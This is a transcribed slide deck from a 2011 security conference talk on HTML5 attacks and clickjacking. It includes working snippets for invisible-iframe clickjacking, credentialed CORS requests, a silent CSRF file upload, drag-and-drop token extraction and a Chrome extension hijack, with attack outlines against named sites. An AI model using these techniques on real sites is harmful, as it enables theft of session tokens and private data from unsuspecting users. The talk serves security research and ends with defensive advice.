Html5: something wicked this way comes - HackPra
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Video recording of the talk: https://connect.ruhr-uni-bochum.de/p3g2butmrt4/ HTML5 is quickly gaining media attention and popularity among browser vendors and web developers. Having tremendous features, together with its sister specifications like Drag & Drop API, File API or Geolocation it allows developers to build rich web applications that easily blend with desktop & mobile environments. The talk will be focused on finding the weakest link and combining several recent attack techniques to turn a security vulnerability into a successful exploit. We'll show how to build a successful advanced UI-Redressing attack (also known as clickjacking), presenting the latest findings in this field, including malicious games and quizes. We'll work on file upload functionalities in current web applications and see how attackers might use HTML5 APIs for their advantage. Putting all these building blocks together will enable us to launch an attack and exploit even the otherwise unexploitable vulnerabilities.
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Html5: something wicked this way comes - HackPra
- 1. HTML5: Something wicked this way comes HackPra, Bochum Krzysztof Kotowicz, Securing 11.2011 krzysztof.kotowicz@securing.pl @kkotowicz
- 2. About me • security researcher • HTML 5 • UI redressing / clickjacking • xss-track, squid-imposter, ... • pentester • IT security trainer • „Hacking HTML5” 2
- 3. Plan • Same Origin Policy • Exploiting users • Attack toolbox • demos • obligatory 0-day ;) • Wrap-up 3
- 4. Same origin policy • the single most important security concept for the web • restricts communication between websites from different domains • has many flavors • without it hell breaks loose • worldwide XSS mayhem 4
- 5. Same origin policy • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • by exploiting users • UI redressing 5
- 6. UI Redressing? Jedi mind tricks on victim users 6
- 7. UI Redressing • This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 7
- 8. Exploiting users //goo.gl/DgPpY 8
- 9. Combined attacks 1. Analyze target 2. Choose pieces • HTML5 • UI redressing 3. Plant the attack 4. .... 5. Profit! 9
- 10. Attack toolbox 10
- 12. Framing • Frames can • move • be nested • be invisible <iframe src=//google.com style="opacity:0;"></iframe> 12
- 13. Framing – prevention • X-Frame-Options 13
- 14. Framing – prevention • JS Framebusting if (top !== self) { top.location = self.location; } // and many others.... 14
- 15. X-Frame-Options Marcus Niemietz, February 2011 • Home pages HTTP header analysis • Based on Alexa Count Rate Top 100 3 3.00% Top 1000 9 0.90% Top 10000 33 0.33% Not that popular yet 15
- 16. Basic clickjacking 16
- 17. Basic clickjacking 20x20 <iframe> 17
- 18. Basic clickjacking <iframe> -300 -350 20x20 18
- 19. Basic clickjacking <iframe> Victim website 20x20 Like us, plz! 19
- 20. Basic clickjacking <iframe src=outer.html width=20 height=20 scrolling=no style="opacity:0;"></iframe> <!-- outer.html --> <iframe src="//victim" width=5000 height=5000 style="position: absolute; top:-300px; left: -350px;"></iframe> 20
- 21. Basic clickjacking • Use to: click on link, button etc. • Trick: Click here to see a video! • User interaction: click + Any clickable action + Works in every browser - X-Frame-Option - JS framebusting 21
- 22. HTML5 IFRAME sandbox • Used to embed untrusted content • prevents XSS • prevents defacement • Facilitates clickjacking! <iframe sandbox="allow-same-origin allow-forms allow-scripts" src="//victim"></iframe> //html5sec.org/#122 22
- 23. HTML5 IFRAME sandbox • Use to: protect from frame busting + Chrome / Safari / IE 10 + Will disable most JS framebusters - X-Frame-Option 23
- 24. Cross Origin Resource Sharing • HTML5-ish • Cross domain AJAX • With cookies • Blind • Unless the receiving site agrees • Not limited to <form> syntax 24
- 25. Cross Origin Resource Sharing var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 25
- 26. Cross Origin Resource Sharing POST / HTTP/1.1 Host: victim Referer: http://dev.localhost/temp/cors.php Content-Length: 15 Origin: http://dev.localhost Content-Type: text/plain ... Cookie: my-cookie=myvalue Anything I want 26
- 27. Cross Origin Resource Sharing • Use to: Cross Site Request Forgery • User interaction: none 27
- 28. Silent file upload • File upload purely in Javascript • Silent <input type=file> with any file name and content • Uses CORS • How? Raw multipart/form-data 28
- 29. Silent file upload function fileUpload(url, fileData, fileName) { var fileSize = fileData.length, boundary = "xxxxxxxxx", xhr = new XMLHttpRequest(); xhr.open("POST", url, true); xhr.withCredentials = "true"; xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); xhr.setRequestHeader("Content-Length", fileSize); 29
- 30. Silent file upload var body = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.send(body); 30
- 31. Silent file upload • Use to: CSRF file upload • User interaction: none + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 31
- 32. Silent file upload DEMO Flickr.com 32
- 33. Flickr.com attack toolbox • Remember me • Flickr creates logged session on first request • CSRF file upload • http://up.flickr.com/photos/upload/transfer/ • accepts file uploads • token check skipped 33
- 34. Drag into • Put attackers content into victim form 34
- 35. Drag into DEMO Alphabet Hero 35
- 36. Drag into • Use to: self XSS, fill whitelists, enter comments... • Trick: Put paper in the can! • User interaction: drag & drop, click + Inject arbitrary content + Trigger self-XSS - Firefox only - X-Frame-Option - JS framebusting 36
- 37. Drag out content extraction image image 37
- 38. Drag out content extraction image victim <iframe> image 38
- 39. Drag out content extraction image victim <iframe> textarea <textarea> 39
- 40. Drag out content extraction <div id=game style="position:relative"> <img style="position:absolute;..." src="paper.png" /> <img style="position:absolute;..." src="trash.png" /> <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe> <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 40
- 41. Drag out content extraction 41
- 42. Drag out content extraction 42
- 43. Drag out content extraction $("#iframe").attr('src', 'outer.html’); $('#dropper').bind('drop', function() { setTimeout(function() { var urlmatch = $("#dropper").val() .match(/token=([a-h0-9]+)$/); if (urlmatch) { var token = urlmatch[1]; // do EVIL } }, 100); }); 43
- 44. Drag out content extraction • Use to: get tokens, session ids, private data • Trick: Put paper in the can! • User interaction: drag & drop + Access sensitive content cross domain - Firefox only - X-Frame-Option - JS framebusting 44
- 45. Drag out content extraction DEMO Min.us 45
- 46. Min.us attack toolbox • CORS to create gallery • social engineering • extract gallery editor-id from <a href> • silent file upload to gallery • CORS change gallery to public • HTML5 + UI redressing combined! 46
- 47. View-source • Display HTML source in frame • session IDs • tokens • private data <iframe src="view-source:view-source:http://victim" width=5000 height=5000 style="position: absolute; top: -300px; left: -150px;"> </iframe> 47
- 48. View-source 48
- 49. View-source 49
- 50. View-source • Use to: get more content • Trick: Your serial number is... • User interaction: select + drag & drop, copy- paste + Beats JS framebusting - X-Frame-Options - Firefox only - Complicated user action 50
- 51. View-source DEMO Imgur.com 51
- 52. Imgur.com attack toolbox • framed view-source: • captcha-like string (AdSense ID) • session ID • social engineering: • trick to copy/paste page source • Exploitation: • http://api.imgur.com • cookie auth, no IP limits for session 52
- 53. Google Chrome addons hijacking • HTML5 apps • Unique ID • chrome-extension://id/res.html • Can attach content scripts to pages • access page DOM • JS runtimes are separated • page canot see addon JS • addon cannot see page JS • Can exchange messages with other components 53
- 54. Google Chrome addons hijacking • Page can load addon resources <iframe src="chrome-extension:// oadbo...adc/popup.html"></iframe> var popup = window.open( 'chrome-extension://oadbo...adc/ popup.html'); • So what? 54
- 55. Google Chrome addons hijacking • Chrome To Phone 2.3.1 hijack 0-day //kotowicz.net/chrome-to-phone/ 55
- 56. Google Chrome addons hijacking • popup.html chrome.extension.onConnect.addListener(function(port) { port.onMessage.addListener(function(info) { //... sendToPhone(info.title, info.url, msgType, info.selection,sendToPhoneListener); }); }); //... chrome.tabs.executeScript(null, {file: "content_script.js"}); 56
- 57. Google Chrome addons hijacking • content_script.js var pageInfo = { "url": document.location.href, "title": document.title, "selection": window.getSelection().toString() }; chrome.extension.connect().postMessage(pageInfo); 57
- 58. Google Chrome addons hijacking 1. popup loads when you click 2. starts listening 3. adds a script to current tab 4. script sends current URL 5. popup gets URL and sends to Android http://... popup.html content_script.js 58
- 59. Google Chrome addons hijacking • manifest.json "content_scripts": [ { "js": [ "content_script.js" ], "matches": [ "http://*/*", "https://*/*" ] } ], • Sending script is always attached to every page on every tab http://... content_script.js 59
- 60. Google Chrome addons hijacking 60
- 61. Google Chrome addons hijacking • We just have to start listening var popup = window.open('chrome- extension://..../popup.html'); window.focus(); // hide popup 61
- 62. Summary • UI redressing attacks are improving • HTML5 helps exploiting vulnerabilities • Users can be a weak link too! Developers: Use X-Frame-Options: DENY 62
- 63. Links • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/ clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl 63
- 64. ? 64